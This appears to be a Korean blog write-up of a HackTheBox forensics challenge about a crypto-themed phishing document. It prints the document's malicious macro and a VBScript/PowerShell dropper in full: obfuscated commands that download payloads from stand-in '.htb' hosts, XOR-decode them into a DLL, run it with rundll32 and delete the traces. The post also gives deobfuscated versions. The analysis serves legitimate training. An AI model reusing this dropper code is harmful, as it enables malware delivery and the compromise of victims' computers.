티스토리 뷰

728x90
반응형

문제 설명

We have been actively monitoring the most extensive spear-phishing campaign in recent history for the last two months. This campaign abuses the current crypto market crash to target disappointed crypto owners. A company's SOC team detected and provided us with a malicious email and some network traffic assessed to be associated with a user opening the document. Analyze the supplied files and figure out what happened.

The zip file consisted of 2 files: mbcoin.doc and mbcoin.pcapng.

 

문제 풀이

mboin.doc 파일에 보면 작성되어 있는 VBScript 내용으로는 아래와 같았습니다.

Attribute VB_Name = "bxh"
Sub AutoOpen()
    Dim QQ1 As Object
    Set QQ1 = ActiveDocument.Shapes(1)
    Dim QQ2 As Object
    Set QQ2 = ActiveDocument.Shapes(2)
    RO = StrReverse("\ataDmargorP\:C")
    ROI = RO + StrReverse("sbv.nip")
    ii = StrReverse("")
    Ne = StrReverse("IZOIZIMIZI")
    WW = QQ1.AlternativeText + QQ2.AlternativeText
    MyFile = FreeFile
    Open ROI For Output As #MyFile
    Print #MyFile, WW
    Close #MyFile
    fun = Shell(StrReverse("sbv.nip\ataDmargorP\:C exe.tpircsc k/ dmc"), Chr(48))
    
    waitTill = Now() + TimeValue("00:00:05")
    While Now() < waitTill
    Wend
    MsgBox ("Unfortunately you are not eligable for free coin!")
    End
    
End Sub

내용을 보면 QQ1 와 QQ2 의 대체 텍스트를 pin.vbs 파일에 쓰는 것 같아 보이는데, 어떤 내용을 쓰는 지 확인할 필요가 있어 보입니다.

그러던 중 1Table 문서의 내용에는 아래와 같은 두가지 행위를 하는 의문스러운 VBScript가 보였습니다.

우선 첫번째는 특정 URL 경로로부터 파일을 다운로드해서 dll 파일로 저장하는 것입니다.

mbcoinDim WAITPLZ, WS, k, kl
WAITPLZ = DateAdd(Chr(115), 4, Now())
Do Until (Now() > WAITPLZ)
Loop

LL1 = "$Nano='JOOEX'.replace('JOO','I');sal OY $Nano;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''http://priyacareers.htb/u9hDQN9Yy7g/pt.html'',''C:\ProgramData\www1.dll'')';$FOOX =($aa,$qq,$ww,$ee,$rr,$bb,$cc -Join ''); OY $FOOX|OY;"
LL2 = "$Nanoz='JOOEX'.replace('JOO','I');sal OY $Nanoz;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''https://perfectdemos.htb/Gv1iNAuMKZ/jv.html'',''C:\ProgramData\www2.dll'')';$FOOX =($aa,$qq,$ww,$ee,$rr,$bb,$cc -Join ''); OY $FOOX|OY;"
LL3 = "$Nanox='JOOEX'.replace('JOO','I');sal OY $Nanox;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''http://bussiness-z.htb/ze8pCNTIkrIS/wp.html'',''C:\ProgramData\www3.dll'')';$FOOX =($aa,$qq,$ww,$ee,$rr,$bb,$cc -Join ''); OY $FOOX|OY;"
LL4 = "$Nanoc='JOOEX'.replace('JOO','I');sal OY $Nanoc;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''http://cablingpoint.htb/ByH5NDoE3kQA/vm.html'',''C:\ProgramData\www4.dll'')';$FOOX =($aa,$qq,$ww,$ee,$rr,$bb,$cc -Join ''); OY $FOOX|OY;"
LL5 = "$Nanoc='JOOEX'.replace('JOO','I');sal OY $Nanoc;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''https://bonus.corporatebusinessmachines.htb/1Y0qVNce/tz.html'',''C:\ProgramData\www5.dll'')';$FOOX =($aa,$qq,$ww,$ee,$rr,$bb,$cc -Join ''); OY $FOOX|OY;"


HH9="po"
HH8="wers"
HH7="h"
HH6="ell "
HH0= HH9+HH8+HH7+HH6
Set Ran = CreateObject("wscript.shell")
Ran.Run HH0+LL1,Chr(48)
Ran.Run HH0+LL2,Chr(48)
Ran.Run HH0+LL3,Chr(48)
Ran.Run HH0+LL4,Chr(48)
Ran.Run HH0+LL5,Chr(48)
Wscript.Sleep(5000)

코드 상에서는 총 5군데에서 다운받기를 시도하고 있으며, 각각 순번대로 www1.dll 에서 www5.dll 파일까지 다운받고 있음을 알 수 있습니다.

 

그리고 바로 아래 코드에서는 위에서 다운받는 dll 파일들의 내용에 대한 연산을 하고 있었는데요.

MM1 = "$b = [System.IO.File]::ReadAllBytes((('C:GPH'+'pr'+'og'+'ra'+'mdataG'+'PHwww1.d'+'ll')  -CrePLacE'GPH',[Char]92)); $k = ('6i'+'I'+'gl'+'o'+'Mk5'+'iRYAw'+'7Z'+'TWed0Cr'+'juZ9wijyQDj'+'KO'+'9Ms0D8K0Z2H5MX6wyOKqFxl'+'Om1'+'X'+'pjmYfaQX'+'acA6'); $r = New-Object Byte[] $b.length; for($i=0; $i -lt $b.length; $i++){$r[$i] = $b[$i] -bxor $k[$i%$k.length]}; if ($r.length -gt 0) { [System.IO.File]::WriteAllBytes((('C:Y9Apro'+'gramdat'+'a'+'Y'+'9Awww'+'.d'+'ll').REpLace(([chAr]89+[chAr]57+[chAr]65),[sTriNg][chAr]92)), $r)}"
MM2 = "$b = [System.IO.File]::ReadAllBytes((('C:GPH'+'pr'+'og'+'ra'+'mdataG'+'PHwww2.d'+'ll')  -CrePLacE'GPH',[Char]92)); $k = ('6i'+'I'+'pc'+'o'+'Mk5'+'iRYAw'+'7Z'+'TWed0Cr'+'juZ9wijyQDj'+'Au'+'9Ms0D8K0Z2H5MX6wyOKqFxl'+'Om1'+'P'+'pjmYfaQX'+'acA6'); $r = New-Object Byte[] $b.length; for($i=0; $i -lt $b.length; $i++){$r[$i] = $b[$i] -bxor $k[$i%$k.length]};  if ($r.length -gt 0) {[System.IO.File]::WriteAllBytes((('C:Y9Apro'+'gramdat'+'a'+'Y'+'9Awww'+'.d'+'ll').REpLace(([chAr]89+[chAr]57+[chAr]65),[sTriNg][chAr]92)), $r)}"
MM3 = "$b = [System.IO.File]::ReadAllBytes((('C:GPH'+'pr'+'og'+'ra'+'mdataG'+'PHwww3.d'+'ll')  -CrePLacE'GPH',[Char]92)); $k = ('6i'+'I'+'WG'+'o'+'Mk5'+'iRYAw'+'7Z'+'TWed0Cr'+'juZ9wijyQDj'+'OL'+'9Ms0D8K0Z2H5MX6wyOKqFxl'+'Om1'+'s'+'pjmYfaQX'+'acA6'); $r = New-Object Byte[] $b.length; for($i=0; $i -lt $b.length; $i++){$r[$i] = $b[$i] -bxor $k[$i%$k.length]}; if ($r.length -gt 0) { [System.IO.File]::WriteAllBytes((('C:Y9Apro'+'gramdat'+'a'+'Y'+'9Awww'+'.d'+'ll').REpLace(([chAr]89+[chAr]57+[chAr]65),[sTriNg][chAr]92)), $r)}"
MM4 = "$b = [System.IO.File]::ReadAllBytes((('C:GPH'+'pr'+'og'+'ra'+'mdataG'+'PHwww4.d'+'ll')  -CrePLacE'GPH',[Char]92)); $k = ('6i'+'I'+'oN'+'o'+'Mk5'+'iRYAw'+'7Z'+'TWed0Cr'+'juZ9wijyQDj'+'Py'+'9Ms0D8K0Z2H5MX6wyOKqFxl'+'Om1'+'G'+'pjmYfaQX'+'acA6'); $r = New-Object Byte[] $b.length; for($i=0; $i -lt $b.length; $i++){$r[$i] = $b[$i] -bxor $k[$i%$k.length]}; if ($r.length -gt 0) { [System.IO.File]::WriteAllBytes((('C:Y9Apro'+'gramdat'+'a'+'Y'+'9Awww'+'.d'+'ll').REpLace(([chAr]89+[chAr]57+[chAr]65),[sTriNg][chAr]92)), $r)}"
MM5 = "$b = [System.IO.File]::ReadAllBytes((('C:GPH'+'pr'+'og'+'ra'+'mdataG'+'PHwww5.d'+'ll')  -CrePLacE'GPH',[Char]92)); $k = ('6i'+'I'+'IE'+'o'+'Mk5'+'iRYAw'+'7Z'+'TWed0Cr'+'juZ9wijyQDj'+'YL'+'9Ms0D8K0Z2H5MX6wyOKqFxl'+'Om1'+'a'+'pjmYfaQX'+'acA6'); $r = New-Object Byte[] $b.length; for($i=0; $i -lt $b.length; $i++){$r[$i] = $b[$i] -bxor $k[$i%$k.length]}; if ($r.length -gt 0) {[System.IO.File]::WriteAllBytes((('C:Y9Apro'+'gramdat'+'a'+'Y'+'9Awww'+'.d'+'ll').REpLace(([chAr]89+[chAr]57+[chAr]65),[sTriNg][chAr]92)), $r)}"

Set Ran = CreateObject("wscript.shell")
Ran.Run HH0+MM1,Chr(48)
WScript.Sleep(500)
Ran.Run HH0+MM2,Chr(48)
WScript.Sleep(500)
Ran.Run HH0+MM3,Chr(48)
WScript.Sleep(500)
Ran.Run HH0+MM4,Chr(48)
WScript.Sleep(500)
Ran.Run HH0+MM5,Chr(48)

WScript.Sleep(15000)
OK1 = "cmd /c rundll32.exe C:\ProgramData\www.dll,ldr"
OK2 = "cmd /c del C:\programdata\www*"
OK3 = "cmd /c del C:\programdata\pin*"
Ran.Run OK1, Chr(48)
WScript.Sleep(1000)
Run.Run OK2, Chr(48)
Run.Run OK3, Chr(48)

각 dll 파일별로 살짝씩 다른 문자열과 XOR 연산을 하여 그 결과 내용물을 shell 명령어로 실행하고 있음을 알 수 있습니다.

 

그럼 대충 짐작하기에 특정 URL로부터 다운받은 내용물은 문제로부터 제공받은 pcap 네트워크 패킷 캡쳐 파일로부터 알 수 있을 것이고, 그 내용물을 각 파일별로 알맞게 XOR 연산을 수행한 그 결과 값이 어떤 내용을 가지고 있는지 확인하면 될 것 같아보입니다.

 

우선 www.dll 파일들을 다운받고자 하는 URL들을 나열해봅니다.

IEX (New-Object Net.WebClient).DownloadFile('http://priyacareers.htb/u9hDQN9Yy7g/pt.html','C:\ProgramData\www1.dll')

IEX (New-Object Net.WebClient).DownloadFile('https://perfectdemos.htb/Gv1iNAuMKZ/jv.html','C:\ProgramData\www2.dll')

IEX (New-Object Net.WebClient).DownloadFile('http://bussiness-z.htb/ze8pCNTIkrIS/wp.html','C:\ProgramData\www3.dll')

IEX (New-Object Net.WebClient).DownloadFile('http://cablingpoint.htb/ByH5NDoE3kQA/vm.html','C:\ProgramData\www4.dll')

IEX (New-Object Net.WebClient).DownloadFile('https://bonus.corporatebusinessmachines.htb/1Y0qVNce/tz.html','C:\ProgramData\www5.dll')

대충 난독화를 풀면 위와 같은 형태가 됩니다.

 

그리고 위 URL로부터 다운받은 파일들의 내용물은 다시 아래와 같이 XOR연산되어집니다.

IEX $b = [System.IO.File]::ReadAllBytes('C:\programdata\www1.dll'); $k = '6iIgloMk5iRYAw7ZTWed0CrjuZ9wijyQDjKO9Ms0D8K0Z2H5MX6wyOKqFxlOm1XpjmYfaQXacA6'; $r = New-Object Byte[] $b.length; for($i=0; $i -lt $b.length; $i++){$r[$i] = $b[$i] -bxor $k[$i%$k.length]}; if ($r.length -gt 0) { [System.IO.File]::WriteAllBytes(('C:\programdata\www.dll'), $r)}

IEX $b = [System.IO.File]::ReadAllBytes('C:\programdata\www2.dll'); $k = '6iIpcoMk5iRYAw7ZTWed0CrjuZ9wijyQDjAu9Ms0D8K0Z2H5MX6wyOKqFxlOm1PpjmYfaQXacA6'; $r = New-Object Byte[] $b.length; for($i=0; $i -lt $b.length; $i++){$r[$i] = $b[$i] -bxor $k[$i%$k.length]};  if ($r.length -gt 0) {[System.IO.File]::WriteAllBytes(('C:\programdata\www.dll'), $r)}

IEX $b = [System.IO.File]::ReadAllBytes('C:\programdata\www3.dll'); $k = '6iIWGoMk5iRYAw7ZTWed0CrjuZ9wijyQDjOL9Ms0D8K0Z2H5MX6wyOKqFxlOm1spjmYfaQXacA6'; $r = New-Object Byte[] $b.length; for($i=0; $i -lt $b.length; $i++){$r[$i] = $b[$i] -bxor $k[$i%$k.length]}; if ($r.length -gt 0) { [System.IO.File]::WriteAllBytes(('C:\programdata\www.dll'), $r)}

IEX $b = [System.IO.File]::ReadAllBytes('C:\programdata\www4.dll'); $k = '6iIoNoMk5iRYAw7ZTWed0CrjuZ9wijyQDjPy9Ms0D8K0Z2H5MX6wyOKqFxlOm1GpjmYfaQXacA6'; $r = New-Object Byte[] $b.length; for($i=0; $i -lt $b.length; $i++){$r[$i] = $b[$i] -bxor $k[$i%$k.length]}; if ($r.length -gt 0) { [System.IO.File]::WriteAllBytes(('C:\programdata\www.dll'), $r)}

IEX $b = [System.IO.File]::ReadAllBytes('C:\programdata\www5.dll'); $k = '6iIIEoMk5iRYAw7ZTWed0CrjuZ9wijyQDjYL9Ms0D8K0Z2H5MX6wyOKqFxlOm1apjmYfaQXacA6'; $r = New-Object Byte[] $b.length; for($i=0; $i -lt $b.length; $i++){$r[$i] = $b[$i] -bxor $k[$i%$k.length]}; if ($r.length -gt 0) {[System.IO.File]::WriteAllBytes(('C:\programdata\www.dll'), $r)}

결과적으로 모두 동일한 www.dll 파일이 되어지게 만든 것 같습니다.

 

이제 Wireshark 에서 해당 패킷을 분석해보겠습니다.

실제 패킷상에서는 vm.html 과 pt.html 즉 www1.dll 과 www4.dll 파일만 다운로드한 것으로 보여집니다. wp.html 은 File not found가 떴고 다른 URL로는 요청 자체를 안한 것처럼 보이기 때문입니다.

 

vm.html URL 경로에서 받은 파일의 내용은 아래와 같습니다.

File Header Format 만 봐서는 어떤 파일인지 알 수 없습니다. 단지 위 파일 내용을 raw 파일로 저장한 뒤, 아까 위에서 보았던 두번째 코드에서 XOR 연산을 해봤을 때 어떤 파일이 만들어지는지가 중요할 것 같습니다.

이제 위 파일을 XOR연산을 해보면 아래와 같이 변환되는 것을 확인할 수 있습니다.

이제 File 헤더를 보니 PE 파일인 것으로 확인이 됩니다. 해당 파일을 IDA 로 열어보면 아래와 같습니다.

뭔가 잘못된 dll 파일을 가져왔다는 듯이 말하고 있습니다. 그럼 www4.dll 파일을 가져와서 XOR 해서 내용물을 다시 IDA로 열어서 보도록 하겠습니다.

이렇게 Flag 를 획득할 수 있었고, 문제를 풀었습니다.

 

본 문제는 Hackthebox 에서 나온 Forensics 분야의 Medium 레벨의 문제였습니다.

 

- 끝 -

728x90
반응형
댓글